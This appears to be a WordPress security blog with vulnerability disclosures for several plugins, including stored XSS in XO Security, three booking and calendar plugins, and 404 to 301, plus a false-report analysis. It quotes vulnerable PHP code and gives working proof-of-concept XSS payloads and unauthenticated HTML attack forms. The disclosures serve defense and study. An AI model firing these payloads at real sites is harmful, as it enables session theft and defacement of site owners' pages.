16 Jun

False Vulnerability Report: Cross Site Scripting Vulnerability in WP Job Manager

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

Recently several security related changes were made to the plugin WP Job Manager, while reviewing the changes we didn’t see anything that looked like it would relate to something that would be classified as a vulnerability and needed to be detailed and added to our data set. The cause for one of the changes clarifies that there really wasn’t a vulnerability in that case.

A report was released within the last day claiming that a persistent (also referred to as stored) cross-site scripting (XSS) vulnerability had been fixed in version of 1.26.2 of the plugin.

The first instruction in the proof of concept starts to point that this report might be false:

1.From 'Job Listings' menu select 'Add New'
  http://localhost/wordpress/wp-admin/post-new.php?post_type=job_listing

To exploit this you need to be logged in, which if you had to be logged in as an Editor or Administrator level user to access the page wouldn’t be a vulnerability normally since they have the unfiltered_html capability that allows them to do the equivalent of XSS.

We found the page is only accessible to Administrator level users, which beyond the unfiltered_html capability, normally have the ability to do almost anything, so for example, they would normally be able to modify a plugin’s code to remove any security checks.

The second instruction in the proof of concept is:

2.Enter this payload for title of job
  <script>alert('Ehsan Hosseini - Xss Stored')</script>

When adding a job, the page that comes up looks like the page that comes up when editing a post or page:

That gives a visual indication that plugin is likely using standard WordPress functionality for creating jobs, which would also indicate that it is probably using the standard WordPress security handling and therefore properly secured already.

After noticing that, we removed the unfiltered_html capability from Administrators in the install of WordPress we were using to test this out and found that if we tried the proof of concept the JavaScript code seen in instruction 2 was properly sanitized, so the plugin was already properly obeying the WordPress security model.

The change made to plugin related to this was to escape the job title using esc_html() in several locations,  which isn’t necessary, but doesn’t hurt to do.

14 Jun

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in RSVP

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

The changelog entry for version 2.3.8 of RSVP and Event Management Plugin is “Fixed an issue where the note field ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

30 May

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Question answer

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 May

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in WP Booking System

An advisory was released by the JPCERT/CC and IPA that a persistent cross-site scripting vulnerability had been fixed in version 1.4 of the plugin WP Booking System, which was discovered by “Satoshi Takagi of Cryptography Laboratory,Department of Information and Communication Engineering,Tokyo Denki University”. In looking at the changes made in that version we found that this involved form submissions for the plugin.

The ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

07 Feb

Persistent Cross-Site Scripting (XSS) Vulnerability in XO Security

When it comes to trying to improve the security surrounding WordPress one of the big impediments is the security industry. One of the things we see them doing is providing misleading and sometimes outright false information to the public about security. One outright falsehood that has been widely spread is that there are lots of brute force attacks against WordPress admin passwords, when based on security companies own evidence are not happening at all. What is really happening are dictionary attacks, which involve an attacker try to login using common passwords. That type of attack is easily protected against by using a strong password, something that WordPress does a good job of helping you do. What might explain why security companies are saying something that isn’t true here is so that they can use the false claim to promote their plugins and services, like we have found Wordfence doing. The problem with this is that every plugin on the website introduces the possibility of a vulnerability, including security plugins.

Take the plugin XO Security that we recently ran across, which is promoted as providing “enhanced login security.” It provides a number of features and by default it will log login attempts. That involves storing and outputting user input data, which needs to be properly handled, but in that wasn’t happening, which was allowing for persistent cross-site scripting (XSS).

When a failed login attempts occurs the plugin’s function failed_login(), in the file /main.php, is run. If the failed login attempt doesn’t involve a username that already exists on the website, the password was logged without being sanitized in version 1.5.2:

292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
function failed_login( $user_name ) {
	global $wpdb;
 
	$login_time = current_time( 'mysql' );
	$ip_address = $this->get_ipaddress();
	$lang = $this->get_language();
	$user_agent = $this->get_user_agent();
	$password = filter_input ( INPUT_POST, 'pwd' );
 
	if ( get_user_by( 'login', $user_name ) ) {
		$password = null;
	}
 
	$wpdb->insert( $this->loginlog_table, array(
		'success' => false,
		'login_time' => $login_time,
		'ip_address' => $ip_address,
		'lang' => $lang,
		'user_agent' => $user_agent,
		'user_name' => $user_name,
		'failed_password' =>F% $password
	) );

When the data was output on the page /wp-admin/users.php?page=xo-security-login-log in 1.5.2  there was no escaping of the password value (in the file /admin.php):

159
160
161
162
163
164
165
$datas = $wpdb->get_results( $wpdb->prepare(
	"SELECT `id`,`success`,`login_time` as `logintime`,`ip_address` as `ipaddress`,`lang`,`user_agent` as `useragent`,`user_name` as `loginname`,`failed_password` as `failedpassword`" .
	"FROM {$loginlog_table}{$where} ORDER BY `{$orderby}` {$order} LIMIT %d, %d;", $start, $per_page
), 'ARRAY_A' );
$this->items = $datas;
 
$this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ) ) );

After we notified the developer of the vulnerability they released version 1.5.3, which fixed it by running the password value through esc_html() when saving it and when outputting it.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/users.php?page=xo-security-login-log.

Attempt to login into WordPress with a username that doesn’t exist on the website and the following as the password:

<script>alert(document.cookie);</script>

Timeline

  • February 6, 2017 – Developer Notified
  • February 7, 2017 – Version 1.5.3 released, which fixes vulnerability.
12 Jan

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Chained Quiz

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in WP Quick Booking Manager

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin WP Quick Booking Manager, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /scbooking.php the function gen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

721
add_action( 'wp_ajax_nopriv_gen_save_cssfixfront','gen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
function gen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
 
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
 
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /includes/fullcalendar_shortcode.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">'.$cssfix_front.'</style>

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[gen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="gen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in EventCommerce WP Event Calendar

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin EventCommerce WP Event Calendar, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /evntgen-scbooking.php the function evntgen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

1227
add_action( 'wp_ajax_nopriv_evntgen_save_cssfixfront','evntgen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
function evntgen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /operations/get_cssfixfront.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">
 '.$cssfix_front.'
 </style>';

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[evntgen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="evntgen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress Appointment Schedule Booking System

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin WordPress Appointment Schedule Booking System, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /appointgen-scappointment.php the function appointgen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

485
add_action( 'wp_ajax_nopriv_appointgen_save_cssfixfront','appointgen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
function appointgen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /operations/get_cssfixfront.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">
 '.$cssfix_front.'
 </style>';

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[appointgen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="appointgen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style></style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.
06 Sep

Persistent Cross-Site Scripting (XSS) Vulnerability in 404 to 301

One of the things we think is important when disclosing vulnerabilities in WordPress plugins is to provide the details so that others can review those, that isn’t a view held by everyone as one WordPress security companies has been holding back details while claiming to put the WordPress community first. There are a number of reason we feel that is important, starting with the fact that we often find vulnerabilities haven’t actually been fixed, which is easy to spot and then get fixed if you can see all of the details. Another reason is that we have often seen that upon reviewing the vulnerability report someone will spot an additional security issue in the same plugin. Having the details also can allow for spotting the same type of vulnerability in other plugins. The final two came together recently for us to spot a minor persistent cross-site scripting (XSS) vulnerability in the plugin 404 to 301 and suggest further improvement to their securing user input brought in to the plugin.

The report that made us look into this was from Louis Dion-Marcil of a related persistent cross-site scripting (XSS) vulnerability. While checking over that to add to our data set we noticed that there was still a more limited issue. The original vulnerability could have allowed malicious JavaScript to run when just visiting the plugin’s admin page. From seeing a number of other reports we were aware that there is potential this type of vulnerability by creating a link that runs JavaScript, for example,  “javascript:alert(“XSS”);” and found that it could be implemented in a referer user input in the plugin. The limit of that here is not only do you have click on the link, but the malicious code would be visible before clicking the link:

While that isn’t a huge threat, it would be easy to fix and in looking over the code we found that there was room for improvement over the code changes made in version 2.3.1, which fixed the previous vulnerability.

In version 2.3.0 the refer input was not sanitized when brought into the plugin in the function get_error_data() (in the file /public/class-404-to-301-public.php):

private function get_error_data() {
	
	$server = array(
		'url' => 'REQUEST_URI',
		'ref' => 'HTTP_REFERER',
		'ua' => 'HTTP_USER_AGENT',
	);
	
	$data['date'] = current_time('mysql');
	$data['ip'] = $this->get_ip();
	foreach ( $server as $key => $value ) {
		if ( ! empty( $_SERVER[ $value ] ) ) {
			$string = $_SERVER[ $value ];
		} else {
			$string = '';
		}

		$data[ $key ] = $this->get_clear_empty( $string );
	}
	
	return $data;
}

and not escaped on the plugin’s admin page (in the file /admin/class-404-to-301-logs.php):

339
$ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '" target="_blank">' . $item['ref'] . '</a>', $item['ref'] ) );

In 2.3.1 the value is escaped when output:

340
341
342
343
$ref = sanitize_text_field( $item['ref'] );
 
// Apply filter - i4t3_log_list_ref_column
$ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $ref . '" target="_blank">' . $ref . '</a>', $ref ) );

The function used to escape the value sanitize_text_field() properly secure against the issue raised in the previous vulnerability, but doesn’t deal with the second since the value “javascript:alert(“XSS”);” isn’t modified by any changes made by that function. One way to fix this would be to use the esc_url() function when outputting the value as URL. The limitation of that and to the previous fix is that it would relatively easy to use the underlying value somewhere else in the code and forget that you needed to escape it. The safer option is to sanitize the value when it comes into the plugin, that way it always secure when outputting it.

After we notified the developer of the issue and the possible solutions version 2.3.3 was released, which sanitizes the input

254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
private function get_error_data() {
 
	// Get request data.
	$url = empty( $_SERVER['REQUEST_URI'] ) ? '' : trailingslashit( esc_url( $_SERVER['REQUEST_URI'] ) );
	$ref = empty( $_SERVER['HTTP_REFERER'] ) ? '' : esc_url( $_SERVER['HTTP_REFERER'] );
	$ua = empty( $_SERVER['HTTP_USER_AGENT'] ) ? '' : $_SERVER['HTTP_USER_AGENT'];
 
	$data['date'] = current_time('mysql');
	$data['ip'] = $this->get_ip();
	$data['url'] = $this->get_clear_empty( $url );
	$data['ref'] = $this->get_clear_empty( $ref );
	$data['ua'] = $this->get_clear_empty( $ua );
 
	return $data;
}

Proof of Concept

Request a page that does not exist with your web browser’s referer set to “javascript:alert(document.cookie);”.

Afterwards, when visiting the page /wp-admin/admin.php?page=i4t3-logs any available cookies to be shown in alert box when clicking on the From link of the relevant listing.

Timeline

  • 8/31/2016 – Developer notified.
  • 8/31/2016 – Version 2.3.3 released, which fixes the issue.